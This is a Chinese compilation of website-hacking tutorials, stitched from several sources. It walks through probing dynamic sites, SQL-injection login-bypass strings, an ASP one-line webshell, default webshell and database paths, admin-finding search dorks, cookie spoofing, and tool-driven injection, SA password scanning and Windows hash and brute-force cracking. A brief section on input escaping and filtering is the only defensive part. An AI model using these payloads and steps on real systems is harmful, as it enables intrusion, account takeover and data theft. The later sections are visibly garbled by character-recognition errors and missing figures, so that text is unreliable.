看后戳啊，如果是html后戳的大部分都是jsp的，jsp存在的漏洞基本是struts2远程执行，asp和aspx一般是动态站，你点开一个网页后面是id=xxx这样的，可以用sqlmap跑一下.

php这类的网站一般都是越权上传或者编辑器漏洞之类的，你点开一个网页后缀是xxxxxxx.php这样的

## 基本原理

**首先说明几点基本背景知识：**

1. 不管是代码还是数据，它在计算机底层看来，都不过是二进制字节流而已，没有区别；

2. 与程序交互往往意味着数据的输入，黑客就可以写一段代码输入进去；

3. 这就是"远程代码执行"漏洞了，感觉大部分漏洞都可以归类于此。他本质上就是：使用某个输入数据的时候，因为各种各样的原因，把这段数据作为可执行程序运行了，然后就会出现写这个输入的黑客希望的结果了；

然后具体讨论这个案例。

**第一步是sql注入，网站里最常见的注入攻击之一。**

由于网站需要存储数据，通常而言都会使用数据库，而数据库的查询通常而言都会使用sql语句。

关于sql的介绍参见SQL。

这里提到的"注入点"，其实就是"提交一个特殊数据让网站执行有害sql语句"的点。

例如： 可能网站功能是输入名字查询信息，假设输入的数据在后台是$data,

那么写得不好的后台可能会执行 select \* from info where name = '$data'，

正常情况可能就是 select \* from info where name = 'thyyyy'，

然而黑客可以写这么一个输入: abc' or 'a'='a

这样的话语句变成了 select \* from info where name = 'abc' or 'a'='a'，就变成查询到全部数据了。

更实际的sql注入会有更复杂的情况，以上只是举例。 总之，他找到这样的点之后，就可以执行他需要的语句，然后显示出本无法看到的数据库内容了。

**第二步是找到管理员权限，**

这里他是利用上面的注入，查询出数据库里的用户数据，然后得到了admin密码的MD5值。

md5的介绍参见MD5，

简单来说md5是一个不可逆的函数，会把密码映射成一个没有规律的字符串，原则上讲这样是可以保护密码的。

但它毕竟是一个确定的函数，因此input和output是对应的，因此机智的黑客们就想到，可以造一个表预先存好一些密码对应的md5，这样就可以反查。 这个叫彩虹表:

彩虹表 因此利用这样的根据，使用了简单密码的话，还是很容易就被查表破解，于是这里管理员密码就被拿到了。

**第三步就是利用管理员权限去黑网站了，**

不过管理员权限不是万能的，所以这里答主提到一句没有上传点，也就是说功能受限。 这里他提到使用一个工具叫做"菜刀"打开了他的权限，这个工具我不太熟悉，了解的知友可以帮我补充一下。

这里简单查了一下，它的核心原理应该还是远程代码执行，通过给网站提交有害的php代码，达到提升权限做各种各样事情的能力。 做到这一步，网站里所有文件都可以被修改了，那就意味着“黑进去一个网站”了。

**sql注入 js脚本注入 html入侵**

**sql注入简介**

通俗的讲，SQL注入就是恶意黑客或者竞争对手利用现有的B/S或者C/S架构的系统，将恶意的SQL语句通过表单等传递给后台SQL数据库引擎执行。比如，一个黑客可以利用网站的漏洞，使用SQL注入的方式取得一个公司网站后台的所有数据。试想一下，如果开发人员不对用户传递过来的输入进行过滤处理，那么遇到恶意用户的时候，并且系统被发现有漏洞的时候，后果将是令人难以想象的。最糟糕的是攻击者拿到了数据库服务器最高级的权限，可以对整个数据库服务器的数据做任何操作。

**js脚本注入**

JavaScript 中也有一些需要特殊处理的字符，如果直接将它们嵌入 JavaScript 代码中，JavaScript 程序结构将会遭受破坏，甚至被嵌入一些恶意的程序。

**html入侵**

由于 HTML 网页本身就是一个文本型结构化文档，如果直接将这些包含了 HTML 特殊字符的内容输出到网页中，极有可能破坏整个 HTML 文档的结构。所以，一般情况下需要对动态数据进行转义处理，使用转义序列表示 HTML 特殊字符

**解决方案**

**sql注入解决方案**

* \*\*第一种：   
  使用预编译，在编写底层代码时能使用预编译的时候，一定要选择预编译。
* \*\*第二种：   
  如果要使用拼接，可以对可能产生sql注入的特殊字符进行转义存储。

public static String decodeSpecialCharsWhenLikeUseBackslash(String content)

{

// 单引号是oracle字符串的边界,oralce中用2个单引号代表1个单引号

String afterDecode = content.replaceAll("'", "''");

// 由于使用了/作为ESCAPE的转义特殊字符,所以需要对该字符进行转义

// 这里的作用是将"a/a"转成"a//a"

afterDecode = afterDecode.replaceAll("/", "//");

// 使用转义字符 /,对oracle特殊字符% 进行转义,只作为普通查询字符，不是模糊匹配 afterDecode = afterDecode.replaceAll("%", "/%");

// 使用转义字符 /,对oracle特殊字符\_ 进行转义,只作为普通查询字符，不是模糊匹配 afterDecode = afterDecode.replaceAll("\_", "/\_");

Return afterDecode;

}

针对sql的关键词 目前我的做法是使用拦截器，拦截参数，检测内容，不包含关键字允许执行，包含关键字提示重新输入。   
- \*\*第三种：   
使用框架，很多框架都有防止sql注入的功能，比如mybatis   
js注入和html入侵   
第一种方式：转义存储，可以参考spring 框架针对这些特殊字符的转义写法，HtmlUtils 和 JavaScriptUtils这个类。并且对一些保留字进行过滤例如”script”,”alert”   
第二种方式：在前台对用户输入进行正则表达过滤，有特殊字符的和保留字的一概过滤，重新输入（不太适合实际需求）

**收集的一些连接（比较详细）**   
<http://www.tuicool.com/articles/MzIVZf>   
<http://www.imooc.com/article/6137>   
<http://blog.csdn.net/bcqtt/article/details/51670457>

# 如何快速入侵一个网站

首先，观察指定网站。 入侵指定网站是需要条件的： 要先观察这个网站是动态还是静态的。

首先介绍下什么样站点可以入侵：我认为必须是动态的网站 如ASP、[**PHP**](http://lib.csdn.net/base/php)、 JSP等代码编写的站点 如果是静态的（.htm或html）,一般是不会成功的。 如果要入侵的目标网站是动态的，就可以利用动态网站的漏洞进行入侵。

 Quote: 以下是入侵网站常用方法：

 1.上传漏洞 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”，80%就有漏洞了！ 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.

2.注入漏洞 字符过滤不严造成的

3.暴库:把二级目录中间的/换成%5c

 4.’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有： 　’or’’=’　\" or \"a\"=\"a　　 ’) or (’a’=’a　　 \") or (\"a\"=\"a　　or 1=1--　 ’ or ’a’=’a

5.社会工程学。这个我们都知道吧。就是猜解。

 6.写入ASP格式[**数据库**](http://lib.csdn.net/base/mysql)。就是一句话木马〈%execute request(\"value\")%〉 （数据库必需得是ASP或ASA的后缀）

 7.源码利用：一些网站用的都是网上下载的源码.有的站长很懒.什么也不改. 比如：默认数据库，默认后台地址，默认管理员帐号密码等

 8.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL. /Databackup/dvbbs7.MDB /bbs/Databackup/dvbbs7.MDB /bbs/Data/dvbbs7.MDB /data/dvbbs7.mdb /bbs/diy.asp /diy.asp /bbs/cmd.asp /bbs/cmd.exe /bbs/s-u.exe /bbs/servu.exe 工具：网站猎手　挖掘鸡 明小子

9.查看目录法:一些网站可以断开目录，可以访问目录。 210.37.95.65 images

10.工具溢出

11.[**搜索引擎**](http://lib.csdn.net/base/searchengine)利用: 　 (1).inurl:flasher\_list.asp　 默认数据库:database/flash.mdb　 后台/manager/ (2).找网站的管理后台地址: site:xxxx.comintext:管理 site:xxxx.comintitle:管理　 〈关键字很多，自已找〉 site:xxxx.cominurl:login (3).查找access的数据库,mssql、[**MySQL**](http://lib.csdn.net/base/mysql)的连接文件 allinurl:bbsdata filetype:mdbinurl:database filetype:incconn inurl:datafiletype:mdb

12.COOKIE诈骗：把自己的ID修改成管理员的，MD5密码也修改成他的，用桂林老兵工具可以修改COOKIE。

13.利用常见的漏洞：如动网BBS 可以先用:dvbbs权限提升工具，使自已成为前台管理员。 THEN，运用:动网固顶贴工具，找个固顶贴，再取得COOKIES，这个要你自已做。我们可以用WSockExpert取得Cookies/NC包 这个我就不做了，网上教程多的是，自已下个看看。 工具：dvbbs权限提升工具　 动网固顶贴工具 14.还有一些老漏洞。如IIS3，4的查看源码，5的Delete 　 CGI，PHP的一些老洞，我就不说了啊。。太老了。没有什么大用途。

 #######################################

一般入侵思路

脚本注入（ASP PHP JSP）

 1.脚本漏洞　其它脚本漏洞（上传漏洞，跨站漏洞等）域名旁注

2.旁注　 “IP”旁注 　本地溢出

3.溢出漏洞　 远程溢出 　ARP欺骗

 4.网络窃听 　　　IP欺骗 5.社会工程学 简单的说，可以利用以上方法来入侵，如果这个指定网站的确没有漏洞，还可以利用其它方式。。。 #######################################

 〓通往电脑的路不止一条〓 如果目标网站程序没有漏洞，可以按照以下方法： 首先判断对方网站服务器主机的IP地址，比如：ping [www.baidu.com](http://www.baidu.com/)，就可以得到百度网站的服务器IP地址，当然也可以利用旁注等工具来查询目标网站服务器的IP地址。。。 可以试着入侵目标网站所在的服务器，可以用旁注工具来查询这个服务器上都放了多少个网站。。。 如果目标网站没有漏洞，可以试着入侵同服务器上的其它网站。。。如果能够入侵同服务器上的其它网站，就可以获得权限，看能不能够提权拿到服务器等。 也可以直接入侵这台网站的服务器！ 比如：用IP端口扫描软件，扫描一下目标服务器都开放了哪些端口，然后利用开放的漏洞端口进行入侵。常见漏洞端口如何入侵，论坛已经有很多这方面的资料了。还可以查询目标服务器有哪些漏洞，比如微软最新Oday漏洞，利用漏洞拿到服务器权限。木马入侵，让网站主机感染你的木马。主要是看目标网站服务器系统是否存在漏洞。 ====================================================================================

首先介绍下什么样的站点可以入侵：必须是动态的网站，比如asp、php、jsp 这种形式的站点。后缀为.htm的站点劝大家还是不要入侵了吧(入侵几率几乎为0)。 　　入侵介绍: 1 上传漏洞；2 暴库；3 注入；4 旁注；5 COOKIE诈骗。 　　1 上传漏洞，这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。 　怎样利用：在网站的地址栏中网址后加上/upfile.asp如果显示 上传格式不正确[重新上传] 这样的字样8成就是有长传漏洞了找个可以上传的工具直接可以得到WEBSHELL。

工具介绍：上传工具，老兵的上传工具、DOMAIN3.5，这两个软件都可以达到上传的目的，用NC也可以提交。

WEBSHELL是什么：WEBSHELL在上节课简单的介绍了下，许多人都不理解，这里就详细讲下，其实WEBSHELL并不什么深奥的东西，是个WEB的权限，可以管理WEB，修改主页内容等权限，但是并没有什么特别高的权限，(这个看管理员的设置了)一般修改别人主页大多都需要这个权限，接触过WEB木马的朋友可能知道(比如老兵的站长助手就是WEB木马 海阳2006也是 WEB木马)我们上传漏洞最终传的就是这个东西，有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。

2 暴库：这个漏洞现在很少见了，但是还有许多站点有这个漏洞可以利用，暴库就是提交字符得到数据库文件，得到了数据库文件我们就直接有了站点的前台或者后台的权限了。 　　暴库方法：比如一个站的地址为 <http://www.xxx.com/dispbbs.asp?boardID=7&ID=161>，我门就可以把com/dispbbs中间的/换成%5c，如果有漏洞直接得到数据库的绝对路径，用寻雷什么的下载下来就可以了。还有种方法就是利用默认的数据库路径<http://www.xxx.com/>后面加上conn.asp。如果没有修改默认的数据库路径也可以得到数据库的路径(注意：这里的/也要换成%5c)。 　　为什么换成%5c：因为在ASCII码里/等于%5c，有时碰到数据库名字为/#abc.mdb的为什么下不了? 这里需要把#号换成%23就可以下载了，为什么我暴出的数据库文件是以。ASP结尾的?我该怎么办?这里可以在下载时把.ASP换成.MDB 这样就可以下载了如果还下载不了可能作了防下载。

3 注入漏洞：这个漏洞是现在应用最广泛，杀伤力也很大的漏洞，可以说微软的官方网站也存在着注入漏洞。注入漏洞是因为字符过滤不严禁所造成的，可以得到管理员的帐号密码等相关资料。 　　怎样利用：我先介绍下怎样找漏洞比如这个网址 <http://www.xxx.com/dispbbs.asp?boardID=7&ID=161> 后面是以ID=数字形式结尾的站我们可以手动在后面加上个 and 1=1 看看 如果显示正常页面 再加上个and 1=2 来看看 如果返回正常页面说明没有漏洞 如果返回错误页面说明存在注入漏洞。如果加and 1=1 返回错误页面说明也没有漏洞，知道了站点有没有漏洞我门就可以利用了 可以手工来猜解也可以用工具现在工具比较多(NBSI NDSI 啊D DOMAIN等)都可以用来猜解帐号密码，因为是菜鸟接触，我还是建议大家用工具，手工比较烦琐。

4 旁注：我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们要入侵的站点。打个形象的比喻，比如你和我一个楼，我家很安全，而你家呢，却漏洞百出，现在有个贼想入侵我家，他对我家做了监视(也就是扫描)发现没有什么可以利用的东西，那么这个贼发现你家和我家一个楼，你家很容易就进去了，他可以先进入你家，然后通过你家得到整个楼的钥匙(系统权限)，这样就自然得到我的钥匙了，就可以进入我的家(网站)。 　　工具介绍：还是名小子的DOMIAN3.5不错的东西，可以检测注入，可以旁注，还可以上传!

5 COOKIE诈骗：许多人不知道什么是COOKIE，COOKIE是你上网时由网站所为你发送的值记录了你的一些资料，比如IP，姓名什么的。 　　怎样诈骗呢？如果我们现在已经知道了XX站管理员的站号和MD5密码了，但是破解不出来密码(MD5是加密后的一个16位的密码)我们就可以用COOKIE诈骗来实现，把自己的ID修改成管理员的，MD5密码也修改成他的，有工具可以修改COOKIE 这样就答到了COOKIE诈骗的目的，系统以为你就是管理员了。 　　今天的介绍就到这里了，比较基础，都是概念性的东西，所有的都是我的个人理解，如有不正确的地方希望大家指出(个人认为就是，为什么换成%5c，这里有点问题)。 防范脚本入侵 作为网络管理员，不少朋友也同时负责单位的网站开发维护的工作，对于WEB开发我想大家都比较精通，可是对如何编写安全的脚本代码和入侵者如何通过WEB方式对服务器进行渗透的，可能就不是很清楚了，有不少朋友错误的认为我的服务器有硬件防火墙，而且只开了80端口，是不会有网络安全问题的。

下面我就向大家介绍几种比较常见的脚本攻击的方法，让大家从中能够找到安全防护的方法，从而提高服务器的安全性。

1. 简单的脚本攻击 　　此类攻击是由于WEB程序编写上对特殊字符过滤不严密所造成的，虽说不能对服务器的安全造成严重威胁，可是却可以使入侵者发布含有HTML语句的恶意代码，扰乱网站秩序，从而对网站产生不良影响。下面给大家举个例子：某网站在进行用户注册时，没有对特殊字符进行过滤，就有可能被无聊者利用，假设论坛的管理员ID为:webmaster，那就有可能有人在注册用户名时注册成 webmaster ，尽管ID有区别，可是在页面显示却是一样的，如果无聊者把其他的信息改的和webmaster一样，那别人就很难区分这两个ID哪个是真的哪个是假的。有不少网站有自己开发的留言板，而且支持提交HTML留言，这就给破坏者提供了机会，他们可以写一个自动弹出窗口并打开一个带木马的网页的代码，这样别人在浏览这条留言时就有可能被种下木马。防范方法很简单，加个过滤函数就可以了： 　　〈% 　　function SqlCheck(fString) 　　 fString = Replace(fString, \"’\",\"\") 　　 fString = Replace(fString, \" \",\"\") 　　 fString = Replace(fString, \";\",\"\") 　　 fString = Replace(fString, \"--\",\"\") 　　 fString = Replace(fString, \",\",\"\") 　　 fString = Replace(fString, \"(\",\"\") 　　 fString = Replace(fString, \")\",\"\") 　　 fString = Replace(fString, \"=\",\"\") 　　 fString = Replace(fString, \"%\",\"\") 　　 fString = Replace(fString, \"\*\",\"\") 　　 fString = Replace(fString, \"<\",\"\") 　　 fString = Replace(fString, \">\",\"\") 　　 SqlCheck = fString 　　end function 　　%〉 　　以上过滤函数中的String = Replace(fString, \"<\",\"\") fString = Replace(fString, \">\",\"\")可以去掉语句中的“<”和“>”符号，使HTML代码无法运行。

2. Sql Injection 漏洞攻击 　　也叫Sql注入攻击，是目前比较常见的一种WEB攻击方法，它利用了通过构造特殊的SQL语句，而对数据库进行跨表查询的攻击，通过这种方式很容易使入侵者得到一个WebShell，然后利用这个WebShell做进一步的渗透，直至得到系统的管理权限，所以这种攻击方式危害很大。建议大家使用NBSI，小榕的WED+WIS等注入工具对自己的网站扫描一下，看是否存在此漏洞。还有一种比较特殊的Sql注入漏洞，之所以说比较特殊，是因为它是通过构造特殊的SQL语句，来欺骗鉴别用户身份代码的，比如入侵者找到后台管理入口后，在管理员用户名和密码输入“’or ’1’=’1’”、“’or’’=’”、“’) or (’a’=’a”、“\" or \"a\"=\"a”、“’ or ’a’=’a”、“’ or 1=1--”等这类字符串（不包含引号），提交，就有可能直接进入后台管理界面，由此也可以看出对特殊字符进行过滤是多么的重要。还有一点要注意，一定不要让别人知道网站的后台管理页面地址，除了因为上面的原因外，这也可以防止入侵者通过暴力破解后台管理员用户名和密码等方法进入后台管理。这类攻击的防范方法除了加上面提到的过滤函数外，还要屏蔽网站的错误信息，同时也需要配置好IIS的执行权限，以前的杂志也详细介绍过防范方法，在这里不做详细说明。

3.对整站系统和论坛的攻击 　　不少网站使用一些比如动易，乔客，动网，BBSXP等知名度高，功能强大的系统和论坛，由于这些系统的功能强大，所以不可避免的就带来了不小的安全风险。因为可以从网上直接得到这些系统的代码，再加上使用这些系统的网站比较多，所以研究这些系统漏洞的人也就很多，我们也就经常会在网上可以看到某某系统又出最新漏洞的文章，建议大家经常不定期的去这些系统的官方网站下载最新的补丁。

# 渗透入侵数据库的web脚本攻击

http://www.weixianmanbu.com/article/321.html

由于Web网页脚本的不安全性，各种针对Web网页脚本的攻击技术多种多样且在不断更新。作为网站管理员，必须跟随最新的安全攻防技术，为网站服务器采取相应防御措施。

实现SOL注入攻击

Web脚本攻击可以分为很多种，如SQL注入攻击、文件上传攻击、数据库攻击、Cookies攻击等，其中SQL注入攻击是针对脚本系统的攻击中最常见的一种攻击方式，也是危害最大的一种攻击手段。同时，由丁SQL注入攻击的易学易用，使得现在各种SQL攻击蔓延。

SQL注入攻击基础

随着网络的快速发展，SQL注入攻击技术也逐步发展并流行起来，使得SQL注入攻击成为脚本攻击者必会的一项入侵技术。

1、SQL注入攻击产生的原因

SQL脚本注入攻击漏洞的主要原因在于：许多网页程序员在编写代码的时候，没有对用户输入数据的合法性进行严格的判断和过滤，从而使网页应用程序存在安全隐患和漏洞。

SQL注入攻击就是利用网站后台程序的漏洞，来发起注入攻击的。这种漏洞是一种比较古老的脚本漏洞，同时，在各种各样的建站程序当中，也是避免不了出现漏洞的，这就给攻击者提供了入侵渗透的机会。

2、SOL注入攻击的准备

黑客在正式实施SQL注入攻击之前，一般都会先做一些准备工作，如取消友好HttP错误信息、准备工具等。其中需要取消友好H工工P错误信息的主要原因是：在进行SQL注入入侵时，需要利用从服务器上返回各种出错信息，但在浏览器默认设置时不显示详细错误返回信息，只能看到“HttP500服务器错误”提示信息。因此，需要在进行SQL注入攻击之前先设置IE浏览器。具体的设置步骤如下。

步骤1.在IE浏览器窗口中选择“工具”→“Intemet选项”菜单项，打开“Intemet工选项”对话框，4-1。

步骤2.切换到“高级”选项，在其中取消勾选“显示友好HttP错误信息”复选框，单击“确定”按钮，即可设置返回详细信息，4-2。

4-2.png

SQL注入攻击与其他攻击手段相似，在注入攻击前需要经过漏洞扫描、入侵攻击，种植木马后门等几个步骤。存入侵过程中会使用一些特殊工具，如SQL注入漏洞扫描与猜解工具、Web木马后门及注入辅助工具等，来提高入侵效率和成功率。

·SQL注入漏洞扫描器与猜解工具。其中ASP环境的注入扫描器主要有NBSI（4-3）、HDSI、Domain和冰舞（414）等；

而PHP+MYSQL注入比较好的工具有CASI（4-5）、二娃（4-6）等。

4-6.png

上述工具大部分都是SQL注入漏洞扫描与攻击于一体的综合利用工具，可以帮助攻击者迅速完成SQL注入点寻找与数据库密码破解、系统攻击等过程。

注入辅助工具，利用注入辅助工具可以帮助攻击者实现字符转换、格式转换等功能。

常见的SQL注入辅助工具有SQL注入字符转换工具、ASP木马c/s模式转换器（4-7）和C2C注入格式转换器（4-8）等。

4-8.png

MySQL注入攻击

MySQL问前被广泛地应用在Internet的中小型网站中。对了：MySQL的注入攻击，常用方法主要有两种：手工注入攻击和使用工具进行注入攻击。

1、手工注入攻击

手动注入攻击比较适合初学者，下面介绍如何利用“SQL手工注入学习机”注入工具来对MySQL进行SQL注入攻击。具体的操作步骤如下。

步骤1.下载“SQL手工注入学习机”，双击“SQL手工注入学习机”图标，打开“SQL手工注入学习攻击机”窗口，4-9。

4-9.png

步骤2.找一个有注入漏洞的网站，复制网址到“输入怀疑有SQL注入漏洞的口RL”文本框中，4-10。单击“查询是否有注入漏洞”按钮，即可在“生成注入代码”

文本框中生成注入代码，4-11。

4-11.png

步骤3.删除“回显判断提示（包涵=不提示不包/=提示）如果不用请清空”文本框的内容，则单击“提交（显示完整效果）”按钮，即可打开4-12的对话框，在其中可以查看网站相应的信息，及判断是否有“注入漏洞1=1”。

在单击“查询是否有注入漏洞1=2”按钮生成注入代码之后，此时再单击“提交（显示完整效果）”按钮，即可查看判断是否有“注入漏涧1=2”。

在“表名”文本框中输入猜测的数据库表名之后，单击“查询表名”按钮，着存在该表名，就会显示相应的表名，4-13。

413.png

单击“提交（显示完整效果）”按钮，即可查询是否存在相应漏洞。若漏洞存在，注入成功：若不存存，则会弹出4-14的提示框。

在“项名”文本框中输入猜测的字段名，在“字段长度”文本框中输入字段长度，并在最下面的文本框中输入要注入内容之后，单击“查询表中的项名”按钮，即可生成猜测项名代码。再单击“提交（显示完整效果）”按钮，即可返回4-15的提示信息，在其中可以得到网站的表、项及内容长度等内容。

4-15.png

在“当前猜解位数”和“猜解项中的内存”中输入位数和猜解信息之后，单击“猜解表项中的内容”按钮，即可生成猜测表项内容的代码。再单击“提交（显示完整效果）”按钮，即可开始对项中所有的内容分析猜测。在等到猜解结束之后，就可以从中找出破解的密码，从而实现网站的注入了。

2、使用工具进行注入攻击

除手工进行SQL注入攻击外，攻击者还可以使用专门的SQL注入工艇进行攻击，对MySQL攻击常用的工具是“啊D注入工具”。“啊D注入工县”是一款出现相对较早且功能推常强大的SQL注射工具，具有旁注检测、SQL猜解、密码破解、数据库管理等功能，是一个针对ASP+SQL注入的程序，使用多线程技术．从而大大提高检测速度。

使用啊D注入工具进行注入的具体操作步骤如下。

下载并解压缩“啊D注入工具”压缩后，双击其中的可执行程序，即可打开“啊D注入工具”主窗口，4-16。

在“啊D注入工具”主窗口的左边“注入检测”栏目中单击“扫描注入点”按钮0，打开“扫描注入点”窗口，4-17，在“检测网址”文本框中输入要检测的网址后，单击“打开网址”按钮，即可检测该网站是否存在注入漏洞。如果存在漏洞，则会将其显示在“可用注入点”栏目中，如4-18。

4-17.png

在可用注入点”栏目中选择要注入的网址，存左边“注入检测”栏目中单击“SQL注入检测”按钮妇，即可进入“注入检测”，4-19。

4-19.png

单击“检测”按钮，即可进行检测。待检测完毕后单击“检测字段”按钮，即可检测出网页中用到的数据表，并将其显示在下面的列表中，4-20。

4-20.png

在检测出的数据表中选择某个数据表后，椎击“检测字段”按钮，可对其包含的字段进行检测，4-21。在

检测出的字段列表巾勾选填前面的复选框之后，单击“检测内容”按钮，即可检测出其具体内容，如用户名、密码等，4-22。

4-22.png

在“啊D注入工具V2.32”主窗口中单击“管理入口检测”按钮口，即可打开“管理入口检测”窗口，4-23。在“网址检测”文本框中输入要检测的地址后，单击“检测管理入口”按钮，即可检测出该网站可能包含的管理入口。待检测完成后，会将该网站的可用连接和目录位置显示出来，4-24。

4-24.png

在“可用连接和目录位置”列表右击要打开的网址，在弹出的快捷菜单中选择“用IE打开连接”选项，存IE浏览器中打开该网页，4-25。这样，黑客就可以用猜解管理员的账号和密码尝试着进入该网站后台管理页面。

4-25.png

SOLServer数提库注入攻击

SQLServer数据库常用网站的后台，为访问该网站的客户提供客户查询、提交货单等服务，是一个网站能够正常运作的前提，因此也是黑客经常攻击的一项重要手段。

对SQLServer数据库进行注入攻击的操作步骤如下。

获取SQL-Server数据库的口令。进入MS-SQL数据库服务器必须有SQL-Server数据库的SAI口令，获得SA令的软件很多，如X-Scan软件，4-26。

单击“扫描参数”按钮，打开“扫描参数”对话框，单击“全局设置”选项的“扫描模块”选项，进入“扫描模块”设置界面，在其中选择要进行扫描的“SQL-Server弱口令”选项，4-27。

4-27.png

单击“检测范围”选项，进入“检测范围”设置界面，在其中输入指定的lP范围或从地址簿中选择，4-28。

4-28.png

单击“确定”按钮完成设置之后，单击“开始扫描”按钮，即可自动进行扫描，扫描结束后会弹出扫描报行，在其中可看到目标机的名称及口令信息，4-29。

在取得了SQL-Server数据库的SA口令之后，就可以进入目标实施攻击了。在本地机器上安装SQL-Server服务器之后，选择“开始”一“所有程序”一“MicrosoSQLServer”一“企业管理器”菜单项，Hp可进入SQL-Server管理平台，4-30。

4-30.png

右击“SQL-Server组”选项，从快捷菜单中选择“新建SQL-Server沣册”选项，打开“沣册SQL-Server向导”对话框，4-31。

单击“下一步”按钮，进入“选择SQL-Server”对话框，存在“服务器”文本框中输入目标机的lP地址，4-32。单击“添加”按钮，将地址添加到“添加的服务器”列表框中，4-33。

4-32.png

单击“下一步”按钮，进入“选择身份验证模式”对话框，并选择“系统管理员给我分配的SQLServer登录信息（SQLServer身份验证）”单选项，如圈4-34。

4-34.png

单击下一步”按钮，进入“选择连接选项”对话框，在其中选择“用我的SQLServer账号信息自动登录”单选项，再输入相应登录名和密码，4-35。

单击“下一步”按钮，进入“选择SQLServer组”对话框，4-36。再点击“下一步”按钮，打开“完成注册SQLServer向导”对话框，4-37。

4-36.png

单击“完成”按钮，会弹出成功注册的信息提示，4-38。点击“关闭”按钮，返回SQL-Server管理平台。此时在本地机器的SQL-Server管理平台中即可像管理本地机器的SQL服务器一样，管理远程主机的SQL-Server服务并对其进行任意更改。

4-38.png

暴力破解攻击

口令破解与暴力破解的主要作用是获取攻击目标的口令和密码等，能为攻击者进一步实施攻击打开通道。下面几个常用软件为例，模拟黑客如何进行口令破解和暴力破解攻击。

1、口令破解攻击

SAMInside是一款功能强大的口令破解软件，支持暴力破解、模糊破解、字典攻击、多台电脑分布式破解等多种破解方式，破解密口5的速度可达到每秒几百万。

下面LSAMlnside-v2.63版本为倒进行介绍，具体的操作步骤如下。

下裁并解压缩SAMlnside-v2,63的软件包后，双击其中的可执行程序，即可打开“SAMInside-v2.63”运行主窗口，4-39。

在“SAMlnside．v2.63”运行主窗口中的快捷菜单栏中，单击第一个菜单选择破解密码导入的方式，4-40。从上到下分别是：从SAM和SYA工EM文件导入、从SAM和SYSKEY文件导入、从PWD口MP文仲导入、从.HD工文什导入、从.LCP文件导入、从.LCS文件导入、从.LC文件导入、从.LS工文件导入等。

4-40.png

在“SAM上nside-v2.63”运行快捷菜单栏，单击第1个菜单按钮，可以选择导出的文件，如4-41。分别是：导出PWD口MP文件，导出PWD口MP文件，选定的用户、导出已猜解的密码、导出统计表等。

在“SAMlnside-v2.63”运行主窗口中的快捷菜单栏中，单击第三个菜单按钮，可以选择“从本地电脑的安全认证子系统LSASS导入要破解的内容(ImportIocalserssingLSASS)”，也可选择“从本地电脑使用计划任务导入破解内容(ImporlocalserssingSchedler)”。如果选择了后者，则需要进行等候才能导入，442。

4-42.png

在“SAMlnside-v2,63”运行主窗口的快捷菜单栏中，单击第四个菜单按钮0，可以选择转账，分别是“全选(Markallsers)”、“全不选(口nmarkallsers)”、“反选(Invertmark)”、“编辑账户(Editsers)”和“增加账，-(Add口ser---)”，443。单击“Addser”选项，弹出“SAMlnside”对话框，在其中可以设置新增加的账户信息，还可以在其中的相应位置输入LM和Nt的哈希值(hash)，4-44。

4-44.png

在“SAMlnside\*v2.63”运行主窗口中的快捷菜单栏中，单击第五个菜单按钮，可以删除列表中的账户，该菜单从A到下依次是：删除选择的账号-删除已经创建了密码的-删除所有的账户，4-45。

在“SAMlnside-v2.63”运行：窗口中的快捷菜单栏中，单击第7个菜单按钮&，可以获取当前账)'的LM哈希值和Nt哈希值。单击该按钮，即可打开生成器的“SAMlnside”

窗口，在其中分别看出LM和N工的哈希值，4-46。

4-46.png

在“SAMInside-v2.63”运行主窗口中的快捷菜单栏中，单击第8个菜单按钮，可以选择攻击方式，在LM-Hash、N工-Hash攻击方式之间选择，也可在暴力破解(Brte-orceattack)、掩码攻击(Maskattack)、字典攻击（Dictionaryattack）、分布式攻击(Pre-calclatedtablesttack)之间进行选择，4-47。

4-46-1.png

“SAMlnside-v2,63”运行主窗口中的快捷菜单栏中的第9个菜单按钮b和第10个菜单按钮D，是黑客们主要用来恢复密码破解目标口令。

4-47.png

在了解SAMlnside-v2.63程序菜单命令的主要功能后，下面以一个本地计算机的账户Adminis工ra工or的口令破解为例，来讲述口令破解的过程，其操作步骤如下。

打开“SAMlnside”窗口，单击“选择导入破解内容”菜单按钮0，在下拉菜单中选择“从本地电腑的安全认证子系统-LSASS导入要破解的内容”任务项，即可自动读入本机的用户账户信息，4-48。

选“Administrator”账户，在“选择攻击方式”菜单中选择合适的攻击方式，选择Nt-Hash和Brte-orce攻击方式，4-49。

单击“选择攻击方式”菜单中的“Options”菜单项，打开“Options”对话框，在第二个选项卡下勾选“A---Z”复选框，并选择7位的密码个数，4-50。

4-50.png

单击“OK”按钮，保存选项设置，再单击第9或第10个菜单按钮，即可开始破解密码，4-51。另外，读者还可根据需要选择其他攻击方式。

4-51.png

2、暴力破懈攻击

暴力破解攻击也是黑客常用的密码破解方式，下面介绍如何对Nt口令进行暴力破解。

进行暴力破解的常用工具有WMICracker、SMBCrack、SQLdic工等。

(1)WMICracker

WMICracker是一款暴力破解N工主机账号密码工具，常用"-破解WindowsN工/2000/XP/2003等操作系统的口令，破解时需要目标主机开放135端口，其使用方法为：WMICracker。

exe<lP><sename><Password下il>【threads】。相关参数说明如下。

（IP>：目标IP:

<semame>：待破解密码的账号，必须属‘管理员组：

<Password下ile>：密码文件：

[threads]：线程数，默认为80，该数值越大，破解速度越快。

假设攻击者使用扫描软件已经扫描到192,168,0,7这台计算机上有一个名字为gloc的管理员权限账号，并认为其密码符合如下规则。

3位字母(a～g)和2位数字(O～9)的组合：

首字母为大写；

数字在字母之后。

入侵者可以在命令提示符中运行

WMlcracker192.168\_017glocl.dic100”命令开始暴力破解．4-52。

4-52.png

(2)SQLdictSQLdic工是一个攻击SQLServer的字典，用工具暴力破解SQL口令，该工具有助让用户了解口令在遭到攻击时是否有是够的防御能力。SQLdic工的主窗口4-53，各项参数的含义如下。

targetserver:目标主机的IP

target:待破解密码的账号

LoadPassword下ile:单击这里选择密码字典文件

在设置完毕后，单击“Start”按钮，即可开始暴力破解，其扫描结果4-54。
